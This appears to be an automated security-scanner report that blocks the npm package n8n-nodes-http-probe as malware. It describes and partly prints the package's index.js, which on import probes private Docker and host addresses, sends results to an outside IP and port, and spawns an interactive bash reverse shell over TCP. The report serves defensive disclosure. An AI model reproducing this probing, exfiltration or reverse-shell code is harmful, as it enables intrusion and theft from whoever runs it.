Loading npm security reports…

n8n-nodes-http-probe@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / n8n-nodes-http-probe / 1.0.0

n8n-nodes-http-probe@1.0.0

HTTP probe nodes

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Importing the package entrypoint triggers internal network probing, external result exfiltration, and a reverse shell. The behavior is unrelated to the inert advertised n8n node.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Loading or importing the package `main` entrypoint (`index.js`).

Impact

Remote operator can receive environment-derived network data and obtain interactive shell access under the importing process account.

Mechanism

Import-time internal probing, TCP exfiltration, and Bash reverse shell.

Attack narrative

When `index.js` is imported, it records the hostname, probes Docker/host-private services, and sends collected response data to `103.27.109.184:8893`. It then launches `/bin/bash -i` and bridges its standard streams through a TCP socket to the same remote host, creating an interactive reverse shell.

Rationale

Direct source inspection confirms concrete import-time discovery, exfiltration, and remote shell behavior. No lifecycle hook is needed because the declared package entrypoint executes the payload on import.

Evidence

package.jsonindex.jsHttpProbeNode.js

Network endpoints6

172.17.0.2:80172.17.0.2:443172.17.0.1:80172.17.0.1:443172.18.0.2:8080103.27.109.184:8893

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` runs immediately when the declared `main` entrypoint is imported.
`index.js` probes Docker/host-private IPs and captures up to 400 bytes of each response.
`index.js` sends the hostname and probe results to `103.27.109.184:8893`.
`index.js` spawns interactive `/bin/bash -i` and pipes it over TCP to `103.27.109.184:8893`.

Evidence against

`package.json` declares no npm lifecycle scripts.
`HttpProbeNode.js` is inert and its `execute()` returns an empty result.

Behavioral surface

Source

ChildProcess

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.74 KB of source

Source & flagged code

3 flagged

index.jsView file

Lines 1-22javascript

1(function(){

2 var net = require('net');

3 var cp = require('child_process');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

5 // Results buffer

6 var results = [];

7 function add(msg) { results.push(msg); }

9 add('H='+require('os').hostname());

11 // Make raw HTTP request via TCP (synchronous-like via callbacks)

12 function rawHttpGet(host, port, path, label) {

13 try {

14 var sock = new net.Socket();

15 var data = '';

16 sock.setTimeout(3000);

17 sock.connect(port, host, function(){

18 sock.write('GET '+path+' HTTP/1.0\r\nHost: '+host+'\r\n\r\n');

19 });

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

20 sock.on('data', function(d) { data += d.toString(); });

21 sock.on('close', function() {

22 add(label+'='+data.substr(0,400).replace(/\n/g,'\\n').replace(/\|/g,' '));

Source & flagged code

3 flagged · loading source

index.jsView file

1(function(){ L2: var net = require('net'); L3: var cp = require('child_process'); L4: ... L8: L9: add('H='+require('os').hostname()); L10: ... L17: sock.connect(port, host, function(){ L18: sock.write('GET '+path+' HTTP/1.0\r\nHost: '+host+'\r\n\r\n'); L19: }); ... L49: try { L50: var sh = cp.spawn('/bin/bash', ['-i']);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: (function(){ L2: var net = require('net'); L3: var cp = require('child_process'); L4: ... L8: L9: add('H='+require('os').hostname()); L10: ... L17: sock.connect(port, host, function(){ L18: sock.write('GET '+path+' HTTP/1.0\r\nHost: '+host+'\r\n\r\n'); L19: }); ... L49: try { L50: var sh = cp.spawn('/bin/bash', ['-i']);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

2var net = require('net'); L3: var cp = require('child_process'); L4:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

Findings

2 Critical1 High

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js